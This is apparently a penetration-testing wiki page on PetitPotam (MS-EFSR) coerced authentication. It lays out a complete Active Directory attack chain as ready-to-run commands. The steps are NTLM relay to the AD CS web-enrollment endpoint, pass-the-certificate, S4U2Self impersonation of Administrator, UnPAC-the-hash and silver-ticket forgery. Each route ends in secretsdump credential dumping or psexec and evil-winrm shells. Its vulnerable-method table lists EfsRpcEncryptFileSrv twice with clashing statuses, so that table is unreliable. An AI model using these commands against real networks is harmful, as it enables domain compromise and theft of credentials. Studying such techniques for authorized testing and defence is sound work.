PRIMARY CATEGORY → MITM & COERCED AUTHS

Theory

MS-EFSR stands for Microsoft’s Encrypting File System Remote Protocol

Like many of the Microsoft protocols, it is available as RPC Interface and accesible through the following SMB Named Pipes

\pipe\efsrpc
\pipe\lsarpc
\pipe\samr
\pipe\lsass
\pipe\netlogon

A bug was discovered that allowed unauthenticated users to remotely coerce domain-joined hosts over SMB

Likewise, an operator could leverage the Web Client Service in order to force authentication from a victim over HTTP, whose clients do not require signing by default

Therefore, those received authentications over HTTP could be cross-relayed to a Domain Controller over LDAP or SMB

Vulnerable MS-EFSR Methods

Patially Patched 🟢 Unpatched ❌

METHODSTATUS
EfsRpcOpenFileRaw🟢
EfsRpcEncryptFileSrv🟢
EfsRpcEncryptFileSrv❌
EfsRpcDecryptFileSrv❌
EfsRpcQueryUsersOnFile❌
EfsRpcQueryRecoveryAgents❌
EfsRpcRemoveUsersFromFile❌
EfsRpcAddUsersToFile❌
EfsRpcFileKeyInfo❌
EfsRpcDuplicateEncryptionInfoFile❌
EfsRpcAddUsersToFileEx❌

Abuse - UNIX-like

PetitPotam.py

PetitPotam.py

Authenticated

python3 PetitPotam.py -dc-ip '<TARGET>' --username '<USER>' --password '<PASSWD>' --domain '<DOMAIN>' '<ATTACKER>' '<TARGET>'

Abuse Scenario - UNIX-like

Note that in order to carry out the following actions, the Active Directory Certificate Services (AD CS) feature must be installed and configured properly

Likewise, a CA must be deployed either on the DC or another domain-joined host

Furthermore, the AD CS HTTP Web Enrollment Endpoint must be enabled and accesible for all authenticated domain accounts

This is necessary since we will relay the received authentication from the victim over SMB to the Web Enrollment HTTP Endpoint in order to request a certificate for authenticated principal, either a user account or a computer account

An operator could abuse this situation as the IIS supports NTLM Authentications, the Extended Protection for Authentication (EPA) is not enabled and the HTTP Server does not enforce signing by default. So, it is the ideal situation for relaying over SMB

Regardless of whether AD CS is set or not in the DC, an adversary could coerce a domain-joined host to authenticate over HTTP via Web Client Service Abuse (WebDAV) and relay that authentication to the DC over LDAP in order to perform Resource Base Constrained Delegation (RBCD)

Domain-Joined Host Compromise
Setting up the Relayer

NTLMRelayx.py

We set up an SMB Server to receive the authentication over SMB and relay it to the specified target, namely, the AD CS Web Enrollment HTTP endpoint

ntlmrelayx.py -smb2support --no-http-server --no-wcf-server --target 'http://<TARGET>/certsrv' --adcs --template 'Computer'
SMB Coercion via MS-EFSR

PetitPotam.py

python3 PetitPotam.py -dc-ip '<TARGET>' --username '<USER>' --password '<PASSWD>' --domain '<DOMAIN>' '<ATTACKER>' '<TARGET>'
Passing-the-Certificate

PKINITtools

Pass the Certificate

Once we have obtained the certificate issued by the CA for the authenticated principal, in this case the domain-joined computer, simply start an AS Exchange via PKINIT Certificate Trust in order to request a Ticket Granting Ticket (TGT) for the given computer account

python3 gettgtpkinit.py -cert-pfx <PFX_CERT> -dc-ip '<DC>' '<DOMAIN>/<USER>' <CCACHE_FILE>

We get a TGT, along with its Session Key, stored within a CCACHE file

From here, we could leverage two techniques in order to accomplish the domain-joined host compromise

#1 - S4U2Self

Impacket’s getST.py

S4U2Self

We can use the TGT of the computer account to initialize a TGS Exchange via S4U2Self in order to request a Service Ticket (ST) for any domain user to itself

Therefore, we could request a service ticket for that computer account on behalf of any user account that we wish to impersonate

getST.py -k -no-pass -dc-ip <TARGET> -self -altservice '<SPN>' -impersonate '<USER_TO_IMPERSONATE>' '<DOMAIN>/<COMPUTER_ACCOUNT>'

Next, simply inject that Service Ticket into the current session through the KRB5CCNAME enviroment parameter and perform any action according to the SName of the ticket

e.g.

  • DCSync

CIFS/DC01.domain.local

getST.py -k -no-pass -dc-ip 'DC01.DOMAIN.LOCAL' -self -altservice 'CIFS/WS99.DOMAIN.LOCAL' -impersonate 'Administrator' 'domain.local/WS99$'
export KRB5CCNAME=$(realpath <CCACHE_FILE>)
secretsdump.py -k -no-pass -target-ip '10.10.10.2' 'DOMAIN.LOCAL/Administrator@WS99.DOMAIN.LOCAL'
  • Interactive Shell with PSExec
getST.py -k -no-pass -dc-ip 'DC01.DOMAIN.LOCAL' -self -altservice 'CIFS/WS99.DOMAIN.LOCAL' -impersonate 'Administrator' 'domain.local/WS99$'
export KRB5CCNAME=$(realpath <CCACHE_FILE>)
psexec.py -k -no-pass -target-ip '10.10.10.2' 'DOMAIN.LOCAL/Administrator@WS99.DOMAIN.LOCAL'
  • Interactive Shell with WinRM
getST.py -k -no-pass -dc-ip 'DC01.DOMAIN.LOCAL' -self -altservice 'HOST/WS99.DOMAIN.LOCAL' -impersonate 'Administrator' 'domain.local/WS99$'
export KRB5CCNAME=$(realpath <CCACHE_FILE>)
evil-winrm --realm 'DOMAIN.LOCAL' --ip 'WS99.DOMAIN.LOCAL' --spn host
#2 - UnPac-the-Hash + Silver Ticket

PKINITtools

U2U

When a kerberos client initializes an AS Exchange via PKINIT, whether Key Trust or Certificate Trust, the KDC always stores the NT Hash of the Client Name within the Privilege Attribute Certificate (PAC) of the TGT

The problem is that we cannot extract the NT Hash as the ticket enc-part is encrypted with a key derived from the krbtgt account password

However, an operator could start a TGS Exchange via U2U in order to request a Service Ticket for himself i.e. a Ticket Granting Ticket

To do so, the kerberos client must provide the TGT for the computer account as Ticket and Additional-Ticket, along with the TGS Session Key. Furthermore, the ENC-TKT-IN-SKEY must be set in the KDC-OPTIONS field

Doing so, the issued service ticket will not be encrypted with a key derived from the computer account password, but rather with the session key of the additional ticket provided, which is the computer account’s TGT

The kerberos client has this session key as it was stored within the enc-part of the AS_REP, so it can decrypt the service ticket in order to extract the NT Hash from the PAC

Take into account that the KDC’s TGS replicates the TGT’s PAC provided by the client when generating the service ticket i.e. the TGT and the ST have the same PAC, thus, both contain the NT hash

export KRB5CCNAME=$(realpath <CCACHE_FILE>) # Computer Account's CCACHE
python3 getnthash.py -dc-ip <DC> -key '<TGT_SESSION_KEY>' '<DOMAIN>/<COMPUTER_ACCOUNT>'

Impacket’s Ticketer.py

Once we have the NT Hash of the computer account, we can forge our own Service Tickets without relying on any DC as a domain-joined host does not need a DC in order to process any AP_REQ

It retrieves from memory the cached credential of the service account, whose key was used to encrypt the provided service ticket in the AP_REQ

Then, it uses it to decrypt the service ticket and extract both the service ticket PAC and session key. Likewise, it uses the session key to decrypt the authenticator in order to complete the authenticity validation

Next, the information contained within the PAC is used to create the Access Token under which the application thread will be executed

So, let’s proceed as follows in order to forge a service ticket for any service running in the target such as SMB, WinRM and so on

ticketer.py -nthash '<NT_HASH>' -spn '<SPN>' -domain '<DOMAIN>' -domain-sid '<DOMAIN_SID>' '<USER>'

Since the service ticket is forged locally and is not sent to the DC at no time, it does not matter if the specified user (ClientName) exists or not

  • DCSync
ticketer.py -nthash '73c4ddd13b1a1155efb2e797794f0134' -spn 'CIFS/WS99.DOMAIN.LOCAL' -domain 'DOMAIN.LOCAL' -domain-sid 'S-1-5-21-1015049279-2421165049-194763108' 'baduser'
export KRB5CCNAME=$(realpath <CCACHE_FILE>)
secretsdump.py -k -no-pass -target-ip '10.10.10.2' 'DOMAIN.LOCAL/baduser@WS99.DOMAIN.LOCAL'
  • Interactive Shell with PSExec
ticketer.py -nthash '73c4ddd13b1a1155efb2e797794f0134' -spn 'CIFS/WS99.DOMAIN.LOCAL' -domain 'DOMAIN.LOCAL' -domain-sid 'S-1-5-21-1015049279-2421165049-194763108' 'baduser'
export KRB5CCNAME=$(realpath <CCACHE_FILE>)
psexec.py -k -no-pass -target-ip '10.10.10.2' 'DOMAIN.LOCAL/baduser@WS99.DOMAIN.LOCAL'
  • Interactive Shell with WinRM
ticketer.py -nthash '73c4ddd13b1a1155efb2e797794f0134' -spn 'HOST/WS99.DOMAIN.LOCAL' -domain 'DOMAIN.LOCAL' -domain-sid 'S-1-5-21-1015049279-2421165049-194763108' 'baduser'
export KRB5CCNAME=$(realpath <CCACHE_FILE>)
evil-winrm --realm 'DOMAIN.LOCAL' --ip 'WS99.DOMAIN.LOCAL' --spn host